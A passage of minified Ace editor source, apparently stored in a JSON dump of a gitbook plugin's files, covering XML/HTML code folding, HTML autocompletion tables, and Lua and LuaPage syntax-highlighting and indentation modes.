i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/lua_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|do|else|elseif|end|for|function|if|in|local|repeat|return|then|until|while|or|and|not\",t=\"true|false|nil|_G|_VERSION\",n=\"string|xpcall|package|tostring|print|os|unpack|require|getfenv|setmetatable|next|assert|tonumber|io|rawequal|collectgarbage|getmetatable|module|rawset|math|debug|pcall|table|newproxy|type|coroutine|_G|select|gcinfo|pairs|rawget|loadstring|ipairs|_VERSION|dofile|setfenv|load|error|loadfile|sub|upper|len|gfind|rep|find|match|char|dump|gmatch|reverse|byte|format|gsub|lower|preload|loadlib|loaded|loaders|cpath|config|path|seeall|exit|setlocale|date|getenv|difftime|remove|time|clock|tmpname|rename|execute|lines|write|close|flush|open|output|type|read|stderr|stdin|input|stdout|popen|tmpfile|log|max|acos|huge|ldexp|pi|cos|tanh|pow|deg|tan|cosh|sinh|random|randomseed|frexp|ceil|floor|rad|abs|sqrt|modf|asin|min|mod|fmod|log10|atan2|exp|sin|atan|getupvalue|debug|sethook|getmetatable|gethook|setmetatable|setlocal|traceback|setfenv|getinfo|setupvalue|getlocal|getregistry|getfenv|setn|insert|getn|foreachi|maxn|foreach|concat|sort|remove|resume|yield|status|wrap|create|running|__add|__sub|__mod|__unm|__concat|__lt|__index|__call|__gc|__metatable|__mul|__div|__pow|__len|__eq|__le|__newindex|__tostring|__mode|__tonumber\",r=\"string|package|os|io|math|debug|table|coroutine\",i=\"\",s=\"setn|foreach|foreachi|gcinfo|log10|maxn\",o=this.createKeywordMapper({keyword:e,\"support.function\":n,\"invalid.deprecated\":s,\"constant.library\":r,\"constant.language\":t,\"invalid.illegal\":i,\"variable.language\":\"self\"},\"identifier\"),u=\"(?:(?:[1-9]\\\\d*)|(?:0))\",a=\"(?:0[xX][\\\\dA-Fa-f]+)\",f=\"(?:\"+u+\"|\"+a+\")\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:\"+h+\")\";this.$rules={start:[{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/\\-\\-\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"comment\",regex:\"\\\\-\\\\-.*$\"},{stateName:\"bracketedString\",onMatch:function(e,t,n){return n.unshift(this.next,e.length,t),\"comment\"},regex:/\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"string\",regex:'\"(?:[^\\\\\\\\]|\\\\\\\\.)*?\"'},{token:\"string\",regex:\"'(?:[^\\\\\\\\]|\\\\\\\\.)*?'\"},{token:\"constant.numeric\",regex:p},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:o,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\/|%|\\\\#|\\\\^|~|<|>|<=|=>|==|~=|=|\\\\:|\\\\.\\\\.\\\\.|\\\\.\\\\.\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+|\\\\w+\"}]},this.normalizeRules()};r.inherits(s,i),t.LuaHighlightRules=s}),define(\"ace/mode/folding/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/\\b(function|then|do|repeat)\\b|{\\s*$|(\\[=*\\[)/,this.foldingStopMarker=/\\bend\\b|^\\s*}|\\]=*\\]/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=this.foldingStartMarker.test(r),s=this.foldingStopMarker.test(r);if(i&&!s){var o=r.match(this.foldingStartMarker);if(o[1]==\"then\"&&/\\belseif\\b/.test(r))return;if(o[1]){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"start\"}else{if(!o[2])return\"start\";var u=e.bgTokenizer.getState(n)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"start\"}}if(t!=\"markbeginend\"||!s||i&&s)return\"\";var o=r.match(this.foldingStopMarker);if(o[0]===\"end\"){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"end\"}else{if(o[0][0]!==\"]\")return\"end\";var u=e.bgTokenizer.getState(n-1)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"end\"}},this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.luaBlock(e,n,i.index+1):i[2]?e.getCommentFoldRange(n,i.index+1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[0]===\"end\"&&e.getTokenAt(n,i.index+1).type===\"keyword\"?this.luaBlock(e,n,i.index+1):i[0][0]===\"]\"?e.getCommentFoldRange(n,i.index+1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.luaBlock=function(e,t,n){var r=new o(e,t,n),i={\"function\":1,\"do\":1,then:1,elseif:-1,end:-1,repeat:1,until:-1},u=r.getCurrentToken();if(!u||u.type!=\"keyword\")return;var a=u.value,f=[a],l=i[a];if(!l)return;var c=l===-1?r.getCurrentTokenColumn():e.getLine(t).length,h=t;r.step=l===-1?r.stepBackward:r.stepForward;while(u=r.step()){if(u.type!==\"keyword\")continue;var p=l*i[u.value];if(p>0)f.unshift(u.value);else if(p<=0){f.shift();if(!f.length&&u.value!=\"elseif\")break;p===0&&f.unshift(u.value)}}var t=r.getCurrentTokenRow();return l===-1?new s(t,e.getLine(t).length,h,c):new s(h,c,t,r.getCurrentTokenColumn())}}.call(u.prototype)}),define(\"ace/mode/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lua_highlight_rules\",\"ace/mode/folding/lua\",\"ace/range\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=e(\"./folding/lua\").FoldMode,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(f,i),function(){function n(t){var n=0;for(var r=0;r<t.length;r++){var i=t[r];i.type==\"keyword\"?i.value in e&&(n+=e[i.value]):i.type==\"paren.lparen\"?n+=i.value.length:i.type==\"paren.rparen\"&&(n-=i.value.length)}return n<0?-1:n>0?1:0}this.lineCommentStart=\"--\",this.blockComment={start:\"--[\",end:\"]--\"};var e={\"function\":1,then:1,\"do\":1,\"else\":1,elseif:1,repeat:1,end:-1,until:-1},t=[\"else\",\"elseif\",\"end\",\"until\"];this.getNextLineIndent=function(e,t,r){var i=this.$getIndent(t),s=0,o=this.getTokenizer().getLineTokens(t,e),u=o.tokens;return e==\"start\"&&(s=n(u)),s>0?i+r:s<0&&i.substr(i.length-r.length)==r&&!this.checkOutdent(e,t,\"\\n\")?i.substr(0,i.length-r.length):i},this.checkOutdent=function(e,n,r){if(r!=\"\\n\"&&r!=\"\\r\"&&r!=\"\\r\\n\")return!1;if(n.match(/^\\s*[\\)\\}\\]]$/))return!0;var i=this.getTokenizer().getLineTokens(n.trim(),e).tokens;return!i||!i.length?!1:i[0].type==\"keyword\"&&t.indexOf(i[0].value)!=-1},this.autoOutdent=function(e,t,r){var i=t.getLine(r-1),s=this.$getIndent(i).length,o=this.getTokenizer().getLineTokens(i,\"start\").tokens,a=t.getTabString().length,f=s+a*n(o),l=this.$getIndent(t.getLine(r)).length;if(l<f)return;t.outdentRows(new u(r,0,r+2,0))},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/lua_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/lua\"}.call(f.prototype),t.Mode=f}),define(\"ace/mode/luapage_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/lua_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=function(){i.call(this);var e=[{token:\"keyword\",regex:\"<\\\\%\\\\=?\",push:\"lua-start\"},{token:\"keyword\",regex:\"<\\\\?lua\\\\=?\",push:\"lua-start\"}],t=[{token:\"keyword\",regex:\"\\\\%>\",next:\"pop\"},{token:\"keyword\",regex:\"\\\\?>\",next:\"pop\"}];this.embedRules(s,\"lua-\",t,[\"start\"]);for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.normalizeRules()};r.inherits(o,i),t.LuaPageHighlightRules=o}),define(\"ace/mode/luapage\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/lua\",\"ace/mode/luapage_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./lua\").Mode,o=e(\"./luapage_highlight_rules\").LuaPageHighlightRules,u=function(){i.call(this),this.HighlightRules=o,this.createModeDelegates({\"lua-\":s})};r.inherits(u,i),function(){this.$id=\"ace/mode/luapage\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-lucene.js",
